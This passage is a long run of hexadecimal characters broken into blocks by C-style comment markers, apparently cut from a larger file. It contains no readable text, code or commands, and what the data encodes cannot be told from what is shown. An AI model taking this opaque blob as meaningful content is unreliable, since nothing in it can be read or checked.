ad65f8f1bc96fb2cc88b11981f4939eadc9268118e74a9e609e80d09e5a02eede3ac4b3c7e1e20f792b047103e0ecd81e27b75d08b79ee2b449d422093fd074591c12af021ca494b3491dd4cdf488b64c35d1c63c8e9865a6b068a8efd24860fda93774c11aaadf6b1e698f6ff9fa9f8403c8694d6d7883558e2ddb44368548174c9c341d03e87a4219bb6fcdca18b3560009a51008087641440fe9c0d396ba81dd70faae93da8e17cb25e32531bf2bd0b699949172ed792c0d7e98a0d693b5b470992ab4caab065cbadf3adebc0689c192e870d6d1280a0197d8d83c68da7a6e8dafb09c958b103d637b3ef0aa29d489d3a4eeceff0369e57e1f91ff3fc4070ce735c69155c0f665fde346c76ba8fb46919a771aeb6a0c96c41b005cbf3960b6763d2c41fd75d78728f3da0669d565c340c4a3ffbc3e2c2f05ae5a07a2d91afe9ac8f03e2dec11595e55090addf20275e2f9a3e77146262183a63a50e41b283fe431687993cbbfbfdaab1f2ba162b11199f2fc980fc3a19cc77c8e378b33e00a5537dedf3b9292c26fa32b75a7617633e47f8199ead4e57a892ac22389b6028243c63f76429a70e82e1f1eed1252a44ebc15cce3dac38d130fa0f5845eab72c05f78648e3fe68259fdb1d0f4a62cfb29388a857ae64eb164b175f138dd5d3e50f1db1d1af71b1c96ee07dbe41e9e*/
/*98761fbf30652490c0a3b3291248c9ccdb60c693c5c5aabf3e23e4bcd5fa554ad313ffd9e52f2cc278fdafb11f1965e5688c18789740960561c9223637cd09a41aafcc59c908cdadc07c291d3e222bdc30d331dcccd353c6d0480b23a6a420ea8c4334497b2c5e3f3794d6730d4a2635d240aa826ffda3b9a4ee8546e2cbcf84480a80cf5689053e6dc78cce8becd6eeb8cdad411d4466d58f37c66cc2cbc39429b377abdfe055f90061af0ca8248e9f4575a461c30091719b459d8fe66c5a5c62dee476bf49c1c6d93d18e07adb2b65ba362d8e1dca23942aab28058c109e92c9f70246c7ceeac04fc5db22cd1a5e78222828f22ad9902060c3f516c90e194cbbc88240d03d76be1c935ad5af1116fa8d2279640daa84b1075975811aa26323b3d426eb6bbbc77ff0caab6ec23b622d61943a1d81bf43ac8fefb6de05827d93280384837ace308f6443e7cfd0f2a440f6b8914ce70d98b2c06b8f93ef979d516458985c96964b4fdbb42a8e4ff86cff40e2eeb3df79f43e1c656822d895c8f3e7397d614112fbab61b607f92001ae77026dcabf704acca5629ede5492aed159cd8dbd757b6f151a670536fba85851f18a58d946521038d327aa54070a9252944c831ca81ebc0894011e781b18918f05a3cebe1243326d2d2659321beaf1595241e44bdf6e7a84826767ee1fc1ce0eb1c4f99b68d9282eb2e781a271b4b84fb8bd739e528eec8b76647763564cea37381b2386ece7931a04241eab0f0ffaebf1e0059a5fa4d4367def6d41ad1d866286cf9669fc2f2cdbd6659999a80390c2be7b607e62b7c71ebdf56ada71837528cb8803ed9343ececbb4815368588fb1d27be802df3cae9a8058947c407403d42950c812ba8d4cf1adda8fcec3c3bf7e997bc6474294f964c8dbd70c0b631190eb69423078e5897bf45f2fb820a1fc7a383839be0acc0792637c357ee98eba8c1bf6b63ee1596ef9e74265d5ca03df6a8625357d0909004316e918cff48b944b89d4e48ea1c658a53e9f1899bbf87274303a64af0e568989cd2698282a6fe049c049766b4d7c8cf6a6358cb4709373d80dd42af20561106f9defd434acdff3281b08d1b46672a1b21ed6f10f11352a936ebb7cf6910e53273d8b973d3ab20b29d47038f59f6ea768bf62ce0aba4a1f029e4c837ee5d198791d11dd5dfd88bfb05ffe4df8d4647460e52e6e2edecbcdeb4e7ce68a29d933b092f4f23e0bf37166d9db867339b5dd95186ae996e651591c645e2d6339665dd59830d189f67f401cd15a1c19d8139c36f2b42fabfad100977609e50fa5d59e4c9503202119812a3a4a7ea262b812a2830a57c2c29a8ea8202226960a65d8b65e9cd94e9af5dcf5992bbdb2c93b89ca78a40b4d4fa99e1e0c562832f6906c193132e5219ae478854355737e7cacb2335789e965c579b434736a3ac249ff2c790c5f2e18efb4fda4ef4c6212b3fe859c1f9d6c9655e9bdd86de359b1197cc3db056ffdcd28bad67dec8d83ac1009418ec8acfe04053b87fc026624c57905b1f60b26a992a63a566e7ddddb893da046a80b0eb2bc227775dca982bead247edea970c31d9fb85ec056a9c188654a09b7696b87e0b0dbe4e6881a5876a973a6538d469254f14b9dd568f3ba27d41963d4063968a4bb27d657e1073515ef64f68ba67af68f0f29585a58097f0eda7c35c08cb7fd947c54210cb634b38ba6763a66c5915df18e574be056e2873d5df8cdcaad4d28de42935aaf0d568201a8565b91532f9da5f51adb5154b49f71c22a97a9f5d498fcf49ef8f9c5c77a97e612d823c0d163c55a3af2799d2a55c351ee19ee556fe814b2addef66698c870278614025e6fb5fe89887f614152cdf031ce80a21ec776fa854e3310ba0e0c63be7522409cd3e4e4ebee036da92fa029540a476b3b49845dee1440fce76a977500f5a303cdf0a92780c346ba2f8cbd6c8252a15f0d43ea0404249427ed0d122e772db5bcc157540cf179dbbbecd3cbdbdda922aa947f644d4819e9b3cdd7e676139a5388390147bc9bfdc081da6c0b61672700a24dbd0d6f1d2fb440ef0632773bc1236059dc760a6a51b4140985361d1e41463c434969190d6fd35cc0e97d09da432ddc5bda8f43fbb2bc6412861182e7a98b49fad6a4d2725764e2a1397de2530f9224df5218ea5e1beac4d584370db0c881328126364f312aa45f3a77f47d8ea795651aaf01001dd71353a1ea9593a1d2380efffbe134f8c22b82a483b640ad7e82ae26b7b6028933838c17b683560c31912405f961402721c902190cb1bc5127e69d875a176069d59664a210f3301d21f0b6be8c99ea9252ba32452383eb85e73076fb65517b8c517102550a5ff4fe08a1df90913bfd6c2d68a05741e0bc972befeb80e220e6d9f4e4736fcef08ee8d3a93a47dc3523bb01a4b81e2ce9d889812e44f3d66b51db16e04f7d3d1c8ea2723914cff64f0d87c99b11f3a6487a81ef6b2e6f43250b0118ec839e76e2bc43cc54aa5f0ac9e22b2369ed2133559d5757e7fbd2b30ef0ebb37a8c881bd9c8fd7dc08d385d1850a16f3a3664959b114b0f714d35bcf14c86c84393c7d8ad54aa3582d678d9e47dfcf8ddbb842f635bbcaab485d79b099fa50a69be9a6ad7dfb3dc56476eb147ec29b908cdae509f223896ca1f6731c8383d5c72fd6d45257304c8ddff5ace7d461701795e6bb973d1b31970a04aefd064ae304391677d36b41d91d60c0db3cbdb0e4d203eb0ce80c67cd34307cc24303443deea2835856ad467a747b2840c18395eb74169cfe20edeef198e9c06cfd84cc67736367357c56*/
/*c57fa9453d248df56c61756bf33c8432dc184c15da94ee632b842bce786d49159f265dd668ca962c1215bcd7b6f2651656a03ad6228ead7245fdfe86b40c4c08a27555150e10ddfe2a5ac5a2422031038a39c8111560dcaf02ca441b04a3db98524b78c754ae1af9ad300b2069cecde30ea87ee0373915a4cd3953eccfe560ac107d303d11c2f5c0a7b88594c129a31d3963e4fa535bc8282b68780fb48088846104011a2573d17523675dfbed61ae3627a5fb54cc1f89ed2ea8e4e4ada826a1ee406b28deac43e291e9994a0398273687c6b37eb43996fa5ac10feb1f200699ddfdd391a43d7e2a1b090fb37c91482a7619a6670272a3c012ca82f64f6f05bc558678a76feee452aa608a1b61f63ed710749dbe41cba890b7781284189902198fbed75c7eea1d1e7b8364f88f40d7a3e69edba7c00c05beb42c079e58f56ee42521e4622c9fc655cc542e33d5cf411ca14b7bee4ff55226b46422f92616c8b3a525a0999d6ddcab20193db03bb8ea55ca5138d3b61abd37cf393239261655e703dce548a168628bf919fa8d9ccc30acf864bc21b1c8da23b2ad45ba40c1af49f329f914e6ee80db113aba361bc681c36c5a2cf0f8b85bbe8f09d4a9149945e96339a6b5204bc1c7a610f110da3595ceb35a663f7af101320e49be3af8258fb2b1c6d68e8edd0fbb737cd204e915d4e59ccb8d53747f565361ed7981a440989c0e4049c3d670de91a013a15febae1d53366947d6bacf6abccbbb58d517b551bdb19856525b8b1b9ee840b846cded12aa85d29b481dce58e4fa9933144dc6ef47560663c579f50806c1e4bbfdd2155a58feb9e0da1d743aa9352eefd1ebdcee29629460939ecac54ce496d5e457cbd3b81810823e890069dcf2d909a5a8a882e9ba2b2f51b00d2140819f36a3322b26f12f52b3f8ad86075ee8a6892d87bed5c65be56e9381e60f32da215b85be7081df0b90d2c584e34064cd66860bb5a2e3f70aa606bb93da0ccbfd34ce578cb0b222824765f5f9273d68a9cb76909d1ad54df85024e8a72f78928d3e60a6ef1ba7df498d06e3d02610465810628c5c6288617e9fed0aefb4d10382927c451121f10100f07f7dc172f03faec8cfbea531d06beba22bfd64f4b39e558417e73f0c1b60df7f1a873cdf91b7fb6e273a50fff1a4957661cf22e20fd59ea74ec97f8caa88e4d399e72813d73f1b23fccfd1dc84f62a628a912bb2139a4500ea6882b131bb64a2f9578d74cdfc43fde4b131c847c45ec78bfaa5b725835ac06d0634ad97707dda71a2a9e79b52b1014a35c21ccd7d9536ea312ac4b6e846b446e611f9f3c9c54ad843667a728f23f8f91d2d0e4bb228d69988491392797503beec58369dca17260976cc7d8b6f8ae097baa1a3e05d1c2a4e9e997d4324d83ea9f6e489fc7bab3bfced10328913321d87a4bb93f15ad8a2ec274450d923e5bee39ad77a156fe54766d9e60a6c0d0a66a6ec6c3f0fe110a7290690c8ac0f66872dbd942975cf2470e07b86d6658d453fd703852394b9cc9ada6b1ee941a30afb33dbcc39dfe099c71ab7cc367b3184610d8d0f09cfafe66482e2bce5bb29cf0675b373f6edbc5b245b5ae04cb5c486316d0ea653dbf160a23e7ed5792875f79a3bf774534ffd40dea87be9a02e80a71abb0b79caa83e4b91b55eedfe4f22fa5de624c660919cfcc7cbb69ac98ce36305320df26e12418ccb394459804defd73a49e42f28193148520695f4dc2b677ddfdba284ee45805bb1897430d56d7118b5b0a79fe8d0cebfb77d5668e0f3a8d379974c2775634181f3bf8a5ddbe4a0a156c2e57850c4de45f731181211529992fb1e11e792d0f55253e9a7dd77f88c37a37859f08d55df8c2e8df939010b254f6b6167a3e72f7f062e336a49617f7d224d7d22362b23111d2c87ede34fad8fa2fb4ebe7f3b785fc8d20f7dbd2ec981cd96e016edc168dad4a580d1ab3ef7713da29cf628507443e724d761aa952786b878b7e12ed5feccdc1f0b0ef7a4bd07fdeeac8cef8757737e3ae2622681484a5ee5d2b05353ca2333c0bfb4af8b1197aaca752730e5475cfabcb5b11a580b130558f6788bed6f5b3bfbbc26802aba7c2b8b91551f7aa611346d52689a80f7ad08a0d920805717b8050bc1b412a798a927f6fb248df52f0c3271615af3f638d32fc5ddc61f934443be9f51f19b5cef1cf18efe324c81525e56530f3837c2565d4d7fd7bd4e86f54cf21ea192a3d14e5f3bd41028f57b053af92bda34a715ed6200882360f64e82ac0be4b2ab000e47149bfbdf7d2ea30d2625e8ab29be148d6c24f16128821ef2e2880722ed12a5f72a3ae7afe494fe8d59f5975eeeb9a08b60d7f5ef23cfead0ab01d4499f2b0cff11c8a8ec844b1aab48e72e15e77641e58e0544ad79c7ff0c2d2e252e00842d7afb3fa58a5b9b4fecbdc97a530999fb977067b40bfb19bab05ddab1335ba3163fc70edc00e6e9e3a5974c0f380b1ad713dd7805461cf9d114930790732db93c85d99b40605c8fdd6276cc06544e29dd4dfe8ee039baf08920c9a3eb9cbd8534cc8480f53a205650c604b469ed1b7d455d3e05464d97f6caf964df77e58e768578a9ac7d5d8c8a08a0220b33f900dd388812e00a9ee36a9aa2cbfca1ac962e9c55c8487e6e0a297906745c39ff4e5ad120c6eec068064c4bb602b4f19e5013cfae827fc2013814056eaa006ec1ba5fa26815c5591948c3ac85d7bf27d8869ae7bf61c1540f76668f72f30d2c4f0aa98407d2d9ff24a77a26104e0923b71564b27fd96b7cb35b64a188d9b1acf0210de53521c8a39d924ffc518c*/
/*9803d041a9ae9bd52c1cb75697704d4108bad046d4c03d7d9b15876b9b950f43ee9b49c876d4d8bcdcc38780563d10dbb04986abd968e09310a9477ed59af6f0c51a841ba45f81119e1258f1431e6129f756e5291dfca9065640818066958296f969d070fd24e99f06b5de2c3c3a669222d5486727e25dfb07f2dcd6d3413c080f3e8404fe881fae3ba56880c0d23ad3bae42bdfc1ae31c977de0d9572a9e99c1c66bb5d9b332332fd747cd3a57c0eefe0fb072f96cd11d6b82fa244b246c8db212910ef2372d628372fbda710f5620ce1604e6385e4c4c056a61c3956d342789bcb516128364d0c4837e9c6b2d4ceff5c85f5a22ea5cc1e8289a2f1e2b161151809176bea3a0b2e3908ee4932d24b7d7ab6f6dba2371b45c72b621cb9a1f850506c6a397b701bbf01977cf926446d2769d08d1a522303df7bb567d5b3756da1c0ca4fc225bddda56ed206a5017d26ef5ef95f11f117a5c9ba8f6056e31f31652dd8117b1ec62bd547753c303424f659c3f03882304255289bd05ed3aaca86fe23628a5841d57217d879e56a65a7a51d8ab1d1813d6f9d7ff65d93330c975849cc662538d6497903bbf7693ac183a358378bf851a32ab2d6c630fb99a0904e6f217ac5f8c84679d8fc2148d0bed9062acc236b86b9982e0ff2661b1b3aee675f5cc8c43caf0f180aebbf1956a0e17845ef932ef60f2b959ba90a8182f1f0411e2aaf87709b6964c4ff6d0bf969a3c6b81aa456f40039288e0fb794798865ba279c1700c1fac36071a3e4228a4b9472a20b358291a1b0a52394c43397a125f1a233a96b890f828c125fb9c2ed36be119248439d5da9126eba3c7ad54d4b92db86729995635712a6b59859f7ced25622c94f72e285facae120534e434520fb3d122f70338a7f29193934e853e886e3fb33dc1b193b02bc453b079b78cb35f40c0283caaf08010435adc8e20b7b78c2182ae130fa9e0d4b3a7bada9eb07dd34bad0a2f4e35a4c79e59ddf70376a56b8cfcd200ce669f618b96cfb726845a3d801fcaa7e49fc7d93e62a8ff693bc66d55fc2980c199ab5cbee7ae25c950c3f7b681a70c33b2903bf7207f3401193d4c0b3a5007d5cc2076e65a5a1ce75811db4adfc25cbaea952e7977b48e1287e23175f965ae48109a0126db0feb9d29ed812f019e6cebb2e7e78ef8ff96da828b42f83a77ed9c2a98008c30a04b6feebe7957478154a40bb74f9ac6d6c744906036ec549da3e5c3447a336a691a8987da96f89b453cd12c3462ec77fb8cadec80292c0b63478c804619d915dfc42c2cc491aa7dedf34aa84fc2e7812ef5df8ad8d67ecb3315ecc882164a458993f4949e269280a4358bb60f6a699d635e1c5489f3ddc99669e3d5c1de31332ebae4ae337ad574aab23e736147e724dd25858fa3f82bd187c4781832c1f014b95c32420e8378ea5da107217ab4a32fc82cd11785fa9ed59ebded0ccfe6c06c0b14cfd4ed59b96db1bba455f7e1b2f0b2fa2e7385675ca68c8417527e3bd2e486a0b7127a08eee55be0071499a72d685104c926f36105881f547d7fd8c9106ce0214233e76b86fbc52c6ad82f0c8970aec0522ab235f5cc24e32475762f56daa4f42513ba3acc92dbe92406f33f3889103e23697cdd1c7bbc7977f9eac0d3c2908ca536e9bb7d0d4f3f0bfe3bff41342edac08ccbec594ce88a6d6f4218e5b1ce31815760c3e7c914e61af6eafa7037bcffce18e6f25e050fada8a1c182559d1f368b1cfb5cf1f120dc407ca1d3ecafd86d41abf298d28799441185c33cd4c27dd13dc6f2463818874ecbc17491340c2832b8f64855dede6d3845d36731f38bf0ef3014f65a71f2f83ed58a6ce4265aab76c1f73a291ac9b0f77a1c0a42eaa7236bf049d4c4497af4a3669dde9f893741f57428fd2a30baa33d169d6ed13ed13759103c5ddfb4f294e5173033123a9f798df8b2d19215d3e4e1b210380239f064e5956c5b0f84bf217f0fb13285db0ad2f18ba70f810a10fed9c5c1db7c1b924b328154bafe30418faaf99e9850a8aabb7c059f0be406cedace69779dbc4d01f65d93dfbce4d206211eeae7a0c712f1aa6d9cfa8dedc5bd86d8809df44ce631344e28570a462b47d57766e29b9df5edd3d4ab7affab8d6214ceea05ca0999ace3daec55a5af721f1141f0e20cc069bd992c12266a629dab83ff1ee3c0c659e846e95381708d8c0c8ac7805c95043aeb545e3c6cc5bab7688632fb4e09dd531e67925b76d14d9571d9d9d84a951cf3d3ab54ea557457ec602aedb1efd460ce5a2358a717b4785eaf603697639d4bbf6ba22e5768369058e48ec5d9e47cc9d0f10b9f9ee83b7ca6edf4cf48dab455c1d1865105e3d703c3032f5d8b5e5a7899ed82e426685166c1a6a144b4d1c6d0905e76389e52e47e331a7bb683b8a276a2e4f8bd38ed87e89a4d6edf50294f0218848ab9e4ee73dab444277c26e1bafd0a0276d3afd823cca47072b75354027af1d97c4acd3eef9c552c6de3029daea1e62f39dff89b25e95609cc642ed7d78274556691f26f29bf69020b2a25a6399c382aa6bff58e1f96d502b50f6c71760f81fecfbac0a1a238a8a042936ab928c863f75744c7b308e3a68e4bd9ee23facb4095a34bbdc8de32943172978a3a96d3ed009378c84c0037c462b741b8e1f58ebf8b59f0dec0e93f680a690a5c7613b7d2973df57c68bc6e4ef2ae6fbac47ffc357eee5342f85a2079369786b566311c5a535ca16159eacef02a4e06bc44a39d9a86f167e579b89f85d19f537a73275cfac393df032826cd56b4d51ea28d1df1b6a12322cba724ac64ef1*/
/*c01595a3f3fc6e1ef82a61d7e0494bc7a4033cdca22fac8e3e732d883c8ff5added731767de5a674a55fb68dc5c5686e8cd82172d595d85c9c7620ad3a040f968f1d7fbf8ef6b4e1956faea288f79910d79e370bf4f3e53981d64fcc31df9b2342e477135a8680d9e12247bcc84672abb452ee9e75964844effefbd89e0682aba66e1df67bdad612faccd6f7412f11cc36b7ef1a5ee82f0e023c226c3c36c9ff6a38f86a8bbc97a6f968264b3f42b8ef2c3b2df885508d21e1d4e807b57931378b566051827e2f59b11e690e4abad40e13aee96575b1c0fe64b869c5cec755fb0847b7535209010c1e42b1204797653ecd6ac4718926d268855ff6c89a75c628534e016a3c1fb8b85590006fb789b7868cc1bc79aa37b2cad94e169e1fd1961987f796b4e81150ace2546e20e91ab3a035c7c379d70109862c59515e4dc0f31aef00bbeb56672f628ce0e20ae1f33b95590a1a25dbc0149c989a099c0006205c80812ff235476c614921ac524878f822e5124f3c81a1c9ba8efd8100014933be02f0861c750d22f2301840098acfe48976632b24e5807d4fc6f62a46920b0daa5b7c3b78b311964b231d474b0c0ef98e9b1d4635311be977378bee72ec75bcea28da75b0d86236093a1293ecb15bcb8fc0a38ba251f4078d54b948c12c0a6a50ae0f8b4707b30310b958ede9fcdfb84d3a78aa9c262faeba97993b99601ba20bf5c23c8dbb4dc7d77a9d32d67c5b473c420d257ef0bf6e64a9aea8cfbe3f3661b8edfaf880d26765787102085585feb0b7a636316f12659b14506a61c9f8414bd65dee1d728c6500d38452ac8406fe3593dc502e33c49b1a3803253d610a43e58677892e193c9cf830a623986b0b88df5a66c3830700d88ccd43d5610c0eeddd89cfb18038b93b96b8151e8e98cae38e0fd768ca74826b49151c4ab0b35db5499f3d2ec239c45e10dfcbaaab534be517997f5deb82b11997dfbe9cb67f93fe80679f8f5651feca0d33c6e9a40efff694c5b3d55bb3ede707eead66bceda821b833d30708d0a4034ec25049e7dd44c98c93250111a82cbe4d875180e4d644936fe2686d9e3b720dd736bd8a80e5a8ac37f537a44f238f2736b3ef3c3aecf275aa58bbb8b8bb8c9c2af9d2703a2965e8d2297050a21781fba3fe321a8f4741f2b06e1f69afc2ab5b3701c0748a9e7433c33bfe9c656f5f99506d975d80e287201839dee9c291c170ee7955d9162738fa09fa254e341ec17ed7787923317bf2cec5132a1eda49e1455c74025418b12834e86086015ffe9b12044c07a520f35db20bea75677b8b878269d4227df18e4d3e0e256f51c7568b790b14bde780126bc8d523ca7b9099cb745d9ca728c4f122a5305b58aad639b67e4fc6b8426a031157353920010df62854b5ecc72f0a9574723773e38fa9cbb4f1142e8a54f804ddea1a49ce18c910b35d3ab7e08b2a902b790dd3489f0a5bc4f7399f782b052431c0b41755a59cbe9f573b5e0d3b4c660983c824a67dabf97134639564922bea796c864abbac7316aadfbff942fe5b55e2d7fa6fb5e0209343ca8b0ca5e1f6ef97a29792e2e80b086ed6bfad86386275cb01d3da5f45727e83e1c552c302a4c010772901925f0fab4c71a9b81a1d45e64dee7454d993681cacd6f726fb8d14f35e94958d5170828ae3c42a3f28c260eecb486feda9f0173dcf9bb664d35986142c43bee89148175d4be3e48e5816450906b797a99942165ecd638293fcd0d314e6a4ec5942c80da29696f228b8a206c9c11c7bdd5c12b2e1acc8c491e744b6a682d8c3db82ba384800e9be8773d0406bc9ab34594bea946a9ee25a5c81898c2bf05b17e67b00cc5fa890b4c6dc9f0bc59780555e25a4962704b5e94eeb40ebb40d0d6824e64dd2d47392bda88364a3ae9affd3c1d322a42e21dc4a6b43a18379ad35f722b790a0b4872272617d40c32600df5ff11c9cbab4759ee059074da6a3a287ed95180b50855c9f7dcbb991026cc18e8f74e6f1694683f0b80e8544eb1ec93abcda19636b8429230dec8db73d00da6fe9220079c075a44c05b8e14559b5da639caa5909afccd5aed648bbb141757ff0827a1deac7798eb4f6620abe65987ee0f018a601ebbc437bc25186e14488cfde32f37bcac5424568122a974eba7c96469ffc83bc100ce84a0ec224f18c5ae1ec721b592ed737951b5fd66364e41e7ec9974e567d1f52dd5fc2d75603b774e1feba7ba9f5ca158aebf6bc07f4ce3787d4f0cb69986e7a2f49cd614177d5520d2bf981740569995e35dac1d9df3414cf82da98ba91ce830be2da9d6d69cc9ffd4a7bae3f37c7264647733b3809bbf458ec8cb655c761d00ac887994908eb4312c115120b115a9c10e2c11b242168f25d33377790f975f6bf484a71670af97de42c4c0027d7082235967d9b4157442c7b4533064bff6358885ab1a1677b9be25c3cc7c395bfce29578b742202b1c68d01540839175b77b1237e1bd306e6a9bb98dee036723af1319b950ca4a26ce30e4065adc77786ea044a14d6dcac433a85f83df6135665cef72c8ab58dadec6eab1570e6de26cbf0c62bc70c8f8f0cf5f3b3c2e8f825a4de095e17dd45b9bfaa8b2b463d9ffc92a56f0ac539a8177bfafca6b3939d52f8004f47f95a41062ed67c47bca3a1f9d1872099f01348bc70789b8a76470dd1713be29dfc4dd4a9f3a98da5e3ac65c23fe6835e4f91264e40a38b432a2955c5f78727556d219b67c343f586f9680ceda0d8dff6a5a98c16bf3947b51a5946317ce58139bdcc0585ed05f2c9a847f574495c3ac9f5f82e276e8cb573e6e8*/
/*0aa85bc4ab6971390b5230da9c880e5625f64fcb3f2fd117c0c478973c91b678d41da791825acd585d5b78681e81e99be284fc89abd4c2013e76f14b79a330564e16348c63f2c6060e18a9919ae718359d6db1f617488811e025e54670dab0862febd0955bdffeb1cd8fb8c6d9f293d90914ab9fa703ec0913ca084f37f4ede8a1f39c2ffd69bbe6eabb5d3f12a6dca82579b99a33b19e21e5e7fe46de4a4a1e469bc269d6fec7d45088af74cb90e6d57bc52250fe5ca290db50ab5000b21f26ee849c05ddecec16cd65b348629eb51b54a4081a07fd869788e3da6d6187c546d931fcae44b638bbf63b681c614980681890a3ddaaa46f351959aae329a2287ec5ec71a9150d0324f7985b0726a291b4591c09171a7d07379f71a1001ba5d93408d14b0b0bd0086d609402f303e73f348fe152e9cedc7aa25c98ca617f5b825367175e092bbe32eca70a97705f7ced1ca4f8d1c12727311c93f9d2dd5bc251f57bd218df2b9bdb4e1da61fd335687aa854f8e0f8830cd12a65f269954fef0625497ada8663fcc84cee10264d7a3d185436391bf458f463944ac84e3a2cca841dbf091179522eaab3c2bbd9797a8aa96634145aa1d460f21d4137471941477f838699c0aaec23cf8623f26ab30e3e7d4a7c8c03f3cc1884f9fea6b94a0ccd5da912d40a0bdf24322a9a19089ebf76e6736d1714e0bd220b30fd67d70dcbe7bc620eade2692b4dca7a43e9a11a4ccd1db545b727502b29f8855d294d92e262a86c7e6b4ab81476f88033c8f62169bdcdc9a8024705579312dc5a65d87a5cbf26f56bb3ad720670d5a8b81600e1c7a691b9eedf4ed21293a1f21b39ae0d012ab191e60ff5d6c3430199745b0d27970caeed5aec2a6eeb6ece7da61fbaadd60259f9f77e381af949adfb5a23a560d702025ff584892529ff752eea9de78a4678b1fe1875974634601dae2a6bd76de9d6f44507477799403a62551c0d9c4fb8f379adcebd31bfbb9304ce737c554fad5a58904d8a6686d73922ff7d6fddcdd5227c21139d89c5ce2b7a49905f59dcadb48eaea7c188d179e4c4f639624233657b3f97148e0e744ce7c67fb9bbc7b7df97e8e4053c3cfec939bb8eebe2e4dc5f521dea516ac8e8a8b3e0a2d489635c95c47e62f93420dff7f2a1de2e01d8615cc1b0a00b2898f28ef3c10823f21bfbb3456cfd8b377723082a07b4002a1059d3e3de1496b07bdb3d62e0471766d78e73ac6ad0dca2b15270e072283e7cdda74ff8723dbb47d03480bc10e5a55c3dc2d948135683777f004dbc77ac95db446ff27249b33106b1abf42847762a48593b1c266de7a6b9a924b18a26b9e7552d30e20fc4ace84c4db0188519ba9856caa261962704442a68a97df27c32af590e3e5208eeefcb53520a5fe8dc6f0e3b5be3e84e4b8bc35490f906dfd0e4378da1f172aa35c4e9f9ed3af66d5b864c879d9c9318905efe44a8776665ce33915f2668aab73b70206e9b4c62dc56f26ee0239ed8887992b2cac86544e76713cf53664053aa58af7a9f923a77753df5bfb8a1828b2f5ae146a980a329c9d416718c8b833cbcff507c6cb293ed7fbfd1e29466873d7dd4de20d9bf118de04300ea009a1593f42280631fd5a145b0b76638dd8d423608c1e88a67977672c7e32962cba1520f13dc7aa35067023418420ac5670b8549ecc7c77cd4701237074e7be817144a68824e0df657393f043b901a9cb7f5ca4307b28e6170360c808d51edf8c5e74854c755210735bef951084b3df6aa8af4ff609ae338e04e83065b2cba267c6f20a4d58b6e4cdce95bc58809c96584d5b7fe836e2fea1e2822054e3804420a205ba8b646daa6467db09044b08d9e30a8c73c39426c570690a59188cc8125d351c9c9dfbb0dd9ccc70af62f7743430399ca11b47f0b9d48a5fbe6e6111d31a1affaff94b9c02f7a480e42fd8f8cb851e1e45c7e12a5ebadced4d7bd708fd05b3c5ace62d7a9ad6b044a69496805769c802f2968cbc3dd78ecad20e0149d5852f3eb015eb30643c4fcb7463504575346a8fc6e0b7f53cf1ce0be4e1ef7c7cd3513816a8ad28585acb6aff55fc6a6686f106828df236e7117420aedd0815b3158f359a99f7a969ca7639a05975e9a6104da444409bbe5d69947f36ce7996d7b7346b5066eaedb09f3703eb79f95afbe99500cbdc8b0429fde6010d786bddc759fe94639a74de2811718ae614f55e448ca3a368b65595a42669b6bbfc163967c0646254068f483619e22e770b9bce065d25ce807d0f93fdecaa6dc99fbe71e4ea843ad2f8575b3e35eb8276ffcb2cc1e123facf635550f2b0ebe85e1b2f20be737b3f91092c1995a9e2c7ddcc1781481bfb243b3c1eaf53d2cdb8f29c069bbc154f575410399afe1a904dbea2693e0d835391a91950df438adee2fb538ac56455a30e68a2b041179a2168a2cffad81626fb56985d23637652ffbc0a5d1eb011290e5cb02093bd1d887d17bda2aad2bd3cbc1ffff3f66e3f88e9008f124611c684eebd2eab67e92c590e13e5b9fd118a19daf498af723514071170c4b8f6f7f3cafa944cfe392db3b488f14fe224afc8ee185abb2290a9550b184e591dc62f3cf5f3d140357319f359be4c10536d3a5b456819723f02067676a30b6fd537806ab151ba41d3ff877550b69d0dc573340ae934367804d67de4ba9448376f97e5d721892b6bb841274f1dd83d7fc0990d5eb0cd50f7967f737900f98821ccab3f68fe966d163dfbdb75f8d846c3c4a5cdaaed673bef8d28e16d40707143350f4d4dafee3e7e0fcdb276a71ccd12f078c8de57391b24c712a9e*/
/*08f6975a21a69d2c1adc2d67d7822b655e975166f2ed6f9e768fa713d6c7c36a60dc189c8d5f35c90a27684a3f31b05bb6b7c26387d5233f1c98d7f1b6c5d310535e52e7c01781775cca7ed57ebe403bd0b9ed706f36150d68fce75640ea3ce1c10ce5e02719cd383ad6c5689266a4fdfc4eb88b5d706a043f6aaf4f6767b58c54af19fd46dde28252eeeca4c905e63da39f57dbc1787745c8751c9dd86d16cf205410b21c7fe84109eec49a6150a6a1fd463202bf0ca9cfd2c2f91b6782bce6e6fff7089f18345431da3a5bf24ed7d29d2d63982a5d3b9dcfab695e8d9fc00c37d74af6489c5feae3694ee0772cf70ab592cd6bf58ff76db2dea7f32a53ee4a8839dfd1c771e419abac5ad1f95ca276b278d88904b234204cc589d7e8c8ac959eb220fcade8f3d9f63977aa7c31cec60d06f081272be4261f25dcd3bd0b7aa08000ec2b7da9e0fbf47d854b43417d796a2181db410f4bee88d1c50ef4d150dabe8668f2c3bcff8f8d66a6fc900042387a06f33209f3de573f9e3c4b673dc3a05e3b282b37ab79cea529dd43d711b08b2eb914acce58a3cd7ab71263d8d42501503cd4fc5fcaddb99f781b272ce45063f63387ae208b06a97970e6f7bd29b0128f0f1a62c4a9b14163b1799e217b0511824639a6134f8b785f701e4f84eef3dba7afbf4fd5ac2a7fe3cc11346fee8c632e564c9cd861612cd175d00952802b8140cb6d174ae796c8cda5421a1d3fcd25275498860fc2aed7fa5321b7413b2de29d79c2d8f9e45cf1feda167b9cef05a87097c8294e3bcf8c09a42beac8463283705205d4dff43869c188c65f5cd6b076da97694c0a20e8193fb74f37ffa4a26e744892bb4dcf0210153acc33e2f756a6226d02e2a8c9112dd9b820995e952d8d9e3bf87179875cf934b84cae4b42155baa10fe7fb0e8a55c4fb3ad93a1555587edb8fbf7f1060736e40c6e4854f6dbf2d757a7b3a22072618cfe3eb53e5f65c983978c05f4abf989eaee697e69e8902536dc8f7a52edc4188312852f0d7501ec0a2e54dcb3af6e678fd8e83aab06a23d8e87a15275c3506437e48beef965c12a3329b50fd4f4cac2ef0c987f221cbe48d8e5254be87a7b3e9104d041cdbcbf77e3a4935bf6f7444ba148ee0a8594c873f3c198f1255cabdb8c81cf3f1d85e374484a22fcf7b7849127a2bbfb02646f7092fdd78a914009991b3d630a9b49d55994ca86a7582f0bb22b153105beebcef4cb26c5313de318860decd55610fe2a45b0e30744ad30892a1bda21375678a6329f5ab9723980780a08a2d28f8d947c03e3a6609b00d893e78a7a0e4b9c11f238bb19565f08f926212500bdc0a55ebdf5ff7f3d3f8a676bd0d339f70006b79eef9abd18b6184a8a45515842a96f0a05e18462911823c6458d9ab416693fb008a3